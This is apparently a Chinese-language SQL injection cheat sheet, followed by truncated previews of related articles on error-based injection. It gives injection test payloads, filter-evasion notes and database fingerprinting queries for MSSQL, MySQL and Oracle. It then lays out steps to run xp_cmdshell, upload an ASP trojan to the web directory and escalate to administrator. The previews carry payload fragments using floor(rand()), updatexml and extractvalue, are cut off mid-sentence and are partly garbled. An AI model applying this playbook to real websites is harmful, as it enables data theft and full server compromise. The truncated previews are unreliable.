1.發現sql注入位置
1)整型引數的判斷
永假條件:?p=1 and 1=2
永真條件:?p=1 and 1=1
空條件:?p=1 or 1=1
2)字元型引數的判斷
永假條件:?p=1' and '1'='2
永真條件:?p=1' and '1'='1
空條件:?p=1' or '1'='1
3)過濾特殊字元的判斷
確認過濾了#
確認過濾了or
確認過濾多行注釋符
確認過濾了單行注釋
確認過濾了斜槓
確認過濾了反斜槓
確認過濾了空格
ascii編碼:把輸入 的字元用ascii碼代替,如u=char(85)
2.判斷後台資料庫型別
mssql備忘單:
select @@version; 檢視版本
select db_name(); 獲取當前資料庫
select user; 獲取當前使用者
select grantee,table_name,privilege_type from information_schema.table_privileges; 檢視當前使用者許可權
mysql備忘單:
select @@version; 檢視版本
select database(); 檢視當前資料庫
select user(); 檢視當前使用者
select * from information_schema.user_privileges where grantee='***x'; 檢視當前使用者許可權
select grantee,privilege_type,is_grantable from information_schema.user_privileges; 當前使用者許可權
oracle備忘單:
select banner from v$version; 檢視版本
select sys_context('userenv', 'db_name') from dual; 檢視當前資料庫
select user from dual; 檢視當前使用者
select privilege from session_privs; 檢視當前使用者的許可權
2)利用系統表
access的系統表是msysobjects,在web環境下沒有訪問許可權
sql server的系統表是sysobjects,在web環境下有訪問許可權
mssql三個關鍵系統表:sysdatabases,sysobjects,syscolumns
3.確定xp_cmdshell可執行
4.發現web虛擬目錄
1)根據經驗猜解:
web虛擬目錄:c:\inetpub\wwwroot;d:\inetpub\wwwroot;等
可執行虛擬目錄:c:\inetpub\scripts; d:\inetpub\scripts;等
5.上傳asp木馬(一段有特殊功能的asp**,放入web虛擬目錄的scripts下,遠端客戶端可執行它,進而得到系統的user許可權)
6.得到管理員許可權(asp木馬只有user許可權,要想獲取對系統的完全控制,還有有系統的管理員許可權)
注入攻擊之sql注入
在1998年,一位名為rfp的黑客發表了一篇題為 nt web technology vulnerabilities 的文章 注入攻擊的兩個條件 1 使用者能夠克制資料的輸入 在這裡,使用者能夠控制變數 2 原本要執行的 憑藉了使用者的輸入 一般輸入乙個 單引號就能引起執行查詢語句的語法錯誤,有些伺...
SQL注入之報錯注入
固定語句公式 union select 1 from select count concat floor rand 0 2 注入爆資料語句 a from information schema.tables group by a b 假如id輸入存在注入的話,可以通過如下語句進行報錯。mysql se...
SQL注入之報錯注入
0x01 報錯注入 在實際場景中,沒有乙個資料的返回資訊點。此時需要用報錯注入使其顯示出注入資訊。使用到報錯注入的場景有 普通報錯注入,即沒有資料返回點 insert注入 update注入 delete注入 0x02 常用到的兩個報錯函式 updatexml 和extractvalue 函式 0x0...